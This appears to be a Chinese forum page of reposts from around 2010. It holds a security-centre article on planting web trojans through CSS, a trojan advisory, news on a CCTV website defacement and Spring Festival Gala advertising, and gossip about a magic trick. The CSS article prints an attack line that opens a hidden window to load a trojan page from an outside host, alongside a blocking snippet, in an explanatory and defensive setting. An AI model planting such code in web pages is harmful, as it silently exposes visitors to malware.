休闲小楼 - 喵宅苑(1号机) | 重启中... 有可爱的男孩子
作者:beta
摘自360安全中心,我们提醒大家要小心了! 黑客们发现发现,用来制作网页特效的CSS代码,也可以用来挂马。 随着Web2.0的普及,各种网页特效用得越来越多,这也给黑客一个可乘之机。他们发现,用来制作网页特效的CSS代码,也可以用来挂马。而比较讽刺的是,CSS挂马方式其实是从防范挂马的CSS代码演变而来。 网站挂马的手段最初非常单一,但是随着Web2.0技术以及Blog、Wiki等广泛的应用,挂马也涌现出各种各样的技术,其中CSS挂马方式,可以说是Web2.0时代黑客的最爱。有许多非常著名的网站都被黑客用CSS挂马入侵过。 在我印象中,记忆最深刻的一次是百度空间CSS挂马。当时,百度空间推出没有多久,就有许多百度用户收到了类似“哈,节日快乐呀!热烈庆祝2008,心情好好,记住要想我!http://hi.baidu.com/XXXXX”的站内消息。 由于网址是百度空间的网址,许多用户认为不会存在安全问题,加上又有可能是自己朋友发来的,因此会毫不犹豫地点击进入。但是进入指定的网址后,用户就会感染蠕虫病毒,并继续传播。 由于蠕虫扩散非常严重,最终导致百度空间不得不发布官方声明提醒用户,并且大费周折地在服务器中清除蠕虫的恶意代码。那一次的挂马事件利用的就是百度空间CSS模板功能,通过变形的expression在CSS代码中动态执行脚本,让指定的远程恶意代码文件在后台悄悄运行并发送大量伪造信息。 我建议大家在点击陌生链接时,要多个心眼,大网站也是可能被挂马的。大家在上网时,最好还是使用一些带网页木马拦截功能的安全辅助工具。 黑客为什么选择CSS挂马? 在Web1.0时代,使用E挂马对于黑客而言,与其说是为了更好地实现木马的隐藏,倒不如说是无可奈何的一个选择。在简单的HTML网页和缺乏交互性的网站中,黑客可以利用的手段也非常有限,即使采取了复杂的伪装,也很容易被识破,还不如E来得直接和有效。 但如今交互式的Web2.0网站越来越多,允许用户设置与修改的博客、SNS社区等纷纷出现。这些互动性非常强的社区和博客中,往往会提供丰富的功能,并且会允许用户使用CSS层叠样式表来对网站的网页进行自由的修改,这促使了CSS挂马流行。 小百科: CSS是层叠样式表(CascadingStyleSheets)的英文缩写。CSS最主要的目的是将文件的结构(用HTML或其他相关语言写的)与文件的显示分隔开来。这个分隔可以让文件的可读性得到加强、文件的结构更加灵活。 黑客在利用CSS挂马时,往往是借着网民对某些大网站的信任,将CSS恶意代码挂到博客或者其他支持CSS的网页中,当网民在访问该网页时恶意代码就会执行。这就如同你去一家知名且证照齐全的大医院看病,你非常信任医院,但是你所看的门诊却已经被庸医外包了下来,并且打着医院的名义利用你的信任成功欺骗了你。但是当你事后去找人算账时,医院此时也往往一脸无辜。对于安全工程师而言,CSS挂马的排查是必备常识。 CSS挂马攻防实录 攻CSS挂马方式较多,但主流的方式是通过有漏洞的博客或者SNS社交网站系统,将恶意的CSS代码写入支持CSS功能的个性化页面中。下面我们以典型的CSS挂马方式为例进行讲解。 方式1: Body “background-image”在CSS中的主要功能是用来定义页面的背景图片。这是最典型的CSS挂马方式,这段恶意代码主要是通过“background-image”配合t代码让网页木马悄悄地在用户的电脑中运行。 那如何将这段CSS恶意代码挂到正常的网页中去呢?黑客可以将生成好的网页木马放到自己指定的位置,然后将该段恶意代码写入挂马网站的网页中,或者挂马网页所调用的CSS文件中。 小百科: 使用Body对象元素,主要是为了让对象不再改变整个网页文档的内容,通过Body对象的控制,可以将内容或者效果控制在指定的大小内,如同使用DIV对象那样精确地设置大小。 方式2: Body background-image:url(t:open(”http://www.X.com/muma.htm”,”newwindow”,”border=”1″Height=0,Width=0,top=1000,center=0,toolbar=no,menubar=no,scrollbars=no,resizable=no,location=no,status=no”)) 方式1的CSS挂马技术,在运行时会出现空白的页面,影响网页访问者正常的访问,因此比较容易发现。不过在方式2中的这段代码,使用了t的Open开窗,通过新开一个隐藏的窗口,在后台悄悄地运行新窗口并激活访问网页溢出木马页面,不会影响访问者观看网页内容,因此更加隐蔽。 防网络服务器被挂马,通常会出现防病毒软件告警之类的信息。由于漏洞不断更新,挂马种类时刻都在变换,通过客户端的反映来发现服务器是否被挂马往往疏漏较大。正确的做法是经常检查服务器日志,发现异常信息,经常检查网站代码,使用网页木马检测系统,进行排查。 目前除了使用以前的阻断弹出窗口防范CSS挂马之外,还可以在网页中设置CSS过滤,将CSS过滤掉。不过如果你选择过滤CSS的话,首先需要留意自己的相关网页是否有CSS的内容,因此我们仍然首推用阻断方式来防范CSS.阻断代码如下所示: emiao1:expression(this.src=”about:blank”,this.outerHTML=”“); 将外域的木马代码的src重写成本地IE404错误页面的地址,这样,外域的t代码不会被下载。不过阻断方式也有天生致命的弱点,弱点的秘密我们将于下次揭晓。查看回复作者:lanyanlei
来源:360安全中心 发布日期:2010-02-22 2月22日,360安全中心发布橙色木马疫情公告称,一款名为“隐身猫”的高危远程控制类木马在春节期间传播量剧增,已经超过80万台电脑被感染。360安全专家石晓虹博士建议广大网民,尽快使用360安全卫士6.2以上版本对电脑进行全盘扫描,以免账号信息和个人隐私被黑客盗取。 据360安全专家石晓虹博士介绍,“隐身猫”是木马团伙最新流行的一款远程控制木马,它可以像猫一样悄悄潜伏起来,轻易监视受害用户的电脑屏幕、记录键盘操作来盗取网游、网银以及用户所装宽带的账号密码、随意查看和盗取中招用户的资料,而且有强大的视频偷窥功能,连家庭生活也没有隐私可言。此外,“隐身猫”还能通过代理中招者的IP进行非法的网上犯罪行为,危害极为严重。据保守估计,目前已有超过80万台电脑被“隐身猫”感染。 石晓虹博士说,“隐身猫”具有变种多、隐蔽性强、根除难度高三大特点。黑客可以很方便地修改特征码,轻松躲过杀毒软件的查杀,更新变种速度极快;其次,它通过服务项启动,没有单独的进程(仅有一个dll文件插入到svchost.exe进程中运行),占用资源也很小,因此隐蔽性强,普通用户中招后很难察觉;另外,“隐身猫”使用了一种相对高端的“复活”手段,能绕开绝大多数杀毒软件的实时监控,即便清理掉它的启动项,它也能在电脑重启前用回写技术加以恢复,生命力比传说有“九条命”的猫更加顽强。如果查杀不净,“隐身猫”不仅自身具有极大的危害,还可以随时接受黑客指令,变形成一个木马下载器,在用户电脑上肆意下载各种木马。 据某些黑客论坛的信息,“隐身猫”如今已成为木马产业最“吃香”的黑客工具,被不法分子用于传播QQ盗号木马、钓鱼程序以及流氓软件等各类恶意程序。因此,尽管春节期间网民活跃度整体下降,“隐身猫”的感染量反而随着其销售网络的不断壮大“逆市”剧增。 石晓虹博士提醒广大网民,及时下载6.2以上版本的360安全卫士,并配合使用永久免费的360杀毒软件,一方面是能够对恶意网页、U盘、局域网等各种木马病毒的传播途径进行全面防护,同时也可以彻底检测和根除“隐身猫”等恶性木马病毒,全方位保护用户财产和隐私的安全查看回复作者:xiaowuhello
综合报道:春晚被批广告太多 央视官网昨晚被黑发布 【链接登录后可见】 出处 【链接登录后可见】 分类 【链接登录后可见】 2010-02-16 9:44 评论 0 访问次数 3295 本文分数 1 【链接登录后可见】【链接登录后可见】 输入分数1-
虎年春晚那些事 虎年春晚已经结束了,但关于春晚的话题才刚刚开始。总导演对植入广告的自我感觉“还好”;漫天飞舞的网络语言让年轻网民不领情,年老观众看不懂;满意度调查结果,两千多家庭与数十万网民评价的截然相反。有观众评价“现在的春晚看的是广告,不是节目!” 一、央视官网被黑 疑因不满春晚植入广告 昨晚不少网友反映中央电视台官方网站间歇性无法登录,【链接登录后可见】主页变成了一欧美女子照片,并持续至20时20分钟才被完全修复。记者此后致电多名央视工作人员,但没有得到正面回应。 昨天20时5分,记者欲登录央视官网查看今日温哥华冬奥会直播预告,却惊讶地发现【链接登录后可见】主页变成了一幅衣着裸露的欧美女子的照片,照片右下角还贴有“新快网”的水印。此后记者在一些论坛上看到有许多网友反映“央视官网被黑”,其中最早的一个帖子是18时14分发布的,帖子所附的截屏与记者看到的相同。虽然被篡改的央视官网与春晚没有任何关系,但仍有许多网友将这一事件与前天播出的春晚联系在一起,认为这是黑客对央视在晚会中过多地植入广告的行为发泄不满。记者随后致电多名央视工作人员,他们均表示“正在度假,不了解此事”。 今年以来,央视官网被黑已经不是第一次。据《潇湘晨报》报道,1月30日12时左右,央视视频互动平台的“星播客”频道突然贴出了一些内容不健康的视频,直到14时才被删除。当时央视网站客服中心给《潇湘晨报》记者的回应是:“我们这边的技术部门周末不上班,而且也没有人举报此事,可能是恶作剧。” (来源:北京晨报 记者 喻晓)) 二、央视春晚 大量运用网络语言被批没创意 (红网)今年春晚的小品和相声中大量地运用网络流行语作为笑点,比如“偷菜”、“我妈叫我回家吃饭”、“不要崇拜哥,哥只是个传说”、“唱的不是歌,是寂寞”、“雷人”和“梦想很丰满,现实很骨干”等等,似乎要一网打尽近年来的网络热词。但从网上的反映来看,效果并不理想。 近年来,由于网络使用者的年轻化倾向,网络俨然已成为时尚的前沿,好多新鲜的玩意儿都是最先从这里流行开来。另一方面,网络的存在也让人们的娱乐生活有了更多的选择余地,也就形成了对传统电视媒体,当然包括央视这样的电视的挑战。央视显然意识到了这样的挑战,在春晚的的语言类节目的相声小品中频频向网络借招可以看成是央视对网络挑战的一种焦虑式的应对。 语言有它的时代性,为吸引年轻的观众,春晚上适当地加上一些春晚语言是可以锦上添花的。但网络语言本来就具有非常随意、即兴的特点,只有在特点的场所和语境使用才有效果。过犹不及,过多过滥,不看具体环境地使用网络语言只会有适得其反的效果。从观众的反应来看,就是如此,网民观众对此并不领情,有人认为这太腻歪,有人觉得太牵强,而对网络不熟悉的老年观众又看不懂。 春晚中网络流行语的大量运用又反映了小品和相声创作者的在原创能力上的匮乏。这十多年来,春晚老是那几个老面孔在霸占着舞台的空间和宝贵的除夕时间。前不久,网友自发评出了春晚最不希望看的十张脸不但大多数这次春晚中悉数出场,而且个个都占据了黄金时间,春晚的因循守旧可见一斑。央视的垄断地位让观众在大年三十没有其他的选择,也使得央视的春晚一再失去了反思和改进的契机。 网络一个很大的特点是去中心化,去权威化。在网络时代,央视俨然还是以传媒老大的姿态出现,它的傲慢与偏见一再地使自己成为网民们嘲笑的对象。大量的使用网络流行语也许在央视自己看来是一个与网民亲近的动作,但这最终免不了让自己成为网民们心目中一个新的笑柄。这是因为央视春晚貌似在与时俱进,其实是与创新南辕北辙。它借用网络语言只是借来皮毛,离其中的精神实质实在相差太远,不得不沦落到邯郸学步的境地。 三、春晚满意度调查结果遭受质疑 (红网)年初二一大早上网,就看到对2010春节满意度调查结果截然不同的两条报道,让我不知该信谁的。 央视网消息,CTR市场研究公司通过随机抽样,电话调查了2290个收看家庭,结果显示,96.1%的用户收看了今年春晚,其中81.6%认为今年春晚办得好。而15日的《广州日报》报道,在某门户网站对今年春晚的满意度调查上,截至今日零时记者截稿前,认为“好”的只占15.2%,不到两成,46.5%的人认为不好。 应该承认,实施调查的主体不同,其满意度出现差异是正常的,但调查结论大相径庭就极不正常了。 根据央视的报道,“CTR市场研究公司是在春晚播出期间通过随机抽样……”,莫非,问题就出在这里,人们都沉浸在春晚节目的精彩中,根本无暇上网,也根本不知道还有一家网站在做满意度调查,就被一帮子对春晚节目不满意的人占了上风?可媒体记者能在最后截稿时截取调查数据,央视为什么不在事后的报道中,报告最新的调查结果,而是以短时间的随机抽样数据为结论,论成败,称英雄? 门户网站是敞开的城门,谁都可进,也谁都可以发表对春晚的观感。我不知道CTR市场研究公司同央视是什么关系,似乎是央视的下属企业,又像是合作关系。果真,前者,“儿不嫌母丑”,也不敢嫌“母丑”;后者,拿人钱财,替人办事,至于拿出81.6%满意度数据,根本不需要技术含量。如此,央视更像是在“老王卖瓜,自卖自夸”,自说自话的满意度调查结论傻子都不会相信。 其实,春晚的满意度每年都有两个版本,央视永远志得意满,神采飞扬,民间许多人并不买账,骂声不绝。《京华时报》15日报道,央视市场研究公司公布历年的调查结果,近5年来,央视春晚的叫好率逐年走低。其中,2006年叫好率为85.5%,2007年为83.6%,2008年为81.1%,2009年为81.1%。这可是央视自家的公司说的。有人嘲讽说,“春晚是在骂声中成长”,依我看,春晚并没有在骂声中成长,而是春晚剧组在对付骂声中逐年成长。 比如,观众诟病春晚的广告太多,总导演金越做客网络时说,“我觉得到目前为止它的广告植入不是很多,另外植入是很自然的,没有什么其它的生硬东西在里面”。这里,巧妙地用了“植入”,而且“很自然”,让你在艺术享受的同时接受商品信息,你应该领情才是。再比如,观众抱怨演员老面孔太多,新人太少,金越说,“我们不控制新人,春节晚会从来不控制谁,春节晚会要对全国人民负责,所以他要挑选好的”。也就是说,现时还没人能超过那些老面孔,上了新人就难以“对全国人民负责”,你还有什么好说的? 春晚其实也就那样了,不能容忍也得容忍,我只想说的是,既然“要对全国人民负责”,就要负责到底,拿出实实在在的满意度数据,包括不满意数据,也算个“男爷们”。实在不好意思往出拿就别拿,你“自欺”可以,千万不要“欺人”,这是我最不能容忍的。 四、“哥想看的是春晚 不是广告” (中新网)昨天有消息说央视虎年春晚广告植入收益近亿元。 自从央视春晚举办以来,广告收入一直呈直线上升的态势,2002年2亿元,2006年接近4亿元,2009年牛年春晚已接近5亿元。今年春晚由于明星阵容强大、宣传效果好等原因,无论是“零点报时”广告,还是晚会前后的“贴片广告”,均有厂商大手笔投入。据央视一份广告报价单显示,央视春晚前后的广告套装起价为每5秒159万元至233万元、每15秒298万元至438万元。与去年相比,今年的广告报价增长了30%以上。据业内人士估计,今年央视春晚整体广告收入已超过6.5亿元,而节目中的广告植入就贡献了近亿元,所以观众在观看语言类节目时可以见到不少广告品牌。有观众评价说:“现在的春晚看的是广告,不是节目!” 对于观众的不满,总导演金越回应说:“春晚做广告是经过严格控制的,它的前提是不能伤害节目。有些剧情的植入也很正常,其实广告商提出的一些要求春晚节目组都是拒绝的,不予植入,因为植入会伤害节目。春晚里,网友比较细心去发现会不会植入一些广告,如果你要这么看的话,实际就忽略了这个节目内容,我觉得到目前为止它的广告植入不是很多,另外植入是很自然的,没有什么其他的生硬东西在里面,其实这是我们尽量避免的。” 植入广告列举 网友戏称三亚“被广告” 镜头一:刘谦将某果汁倒入纸杯中,喝了一口,然后说是某果汁。 镜头二:郭达蔡明小品,蔡明请的托儿送礼送来某品牌白酒。 镜头三:赵本山小品《捐助》,除了去年的某网站广告以外,今年还多了一个酒的广告。观众表示完全为了植入广告,弄得情节很不合理:“含辛茹苦的受捐母亲,带礼物去看恩人,居然送的是贵酒,实在有点夸张。”另外,还有网友打趣称,小品中,提到近来很火的海南三亚,是三亚“被广告”了。 镜头四:蔡明和郭达的小品,被网友看成是某视频网站的失败广告。它里面也充斥着很多经典广告语,但应该更多是为了节目效果。 镜头五:零点报时的广告,电视屏幕上除了红色时钟背景,就只有某电器品牌的两个大字。网友称,这也许是春晚最醒目和最贵的广告了。 镜头六:小品《五十块钱》中,演员都是生面孔,网友关注的焦点则是他们围裙上的某食用油广告,甚至有人称这个节目是为该食用油做的离题广告小品。(来源:北方网)查看回复作者:xiaowuhello
it你好论坛报道: ======================================================================== 据传言,这个桌子是11月中旬接单的,但是深圳的一个客户来定做,知道是机械桌, 但没想到是刘谦的公司来做。 这也是在春晚最后公布节目单以后,我哥才发现的。 其实桌子的玻璃有两层,玻璃可以旋转。 玻璃就是那种公交车窗的玻璃。 [::艾泽拉 斯国家地理 BBS.NGACN.CC::] 胡说八道。。。 亨利伊万斯的神奇洗牌手 托恩的硬 币穿玻璃 Cyril的手穿玻璃 确实是技术。。我只是说桌子确实是定做的 不是普通的桌子。。 哈哈 相关视频 可以自己去下载看看啊 【链接登录后可见】查看回复作者:xiaowuhello
农历2009最后一天,祝愿论坛朋友万事如意查看回复作者:xiaowuhello
揭秘刘谦春晚桌子硬币魔术,桌子有问题 据传言,刘谦表演的桌子是定制的,而且有两层,其中是大有玄机的啊查看回复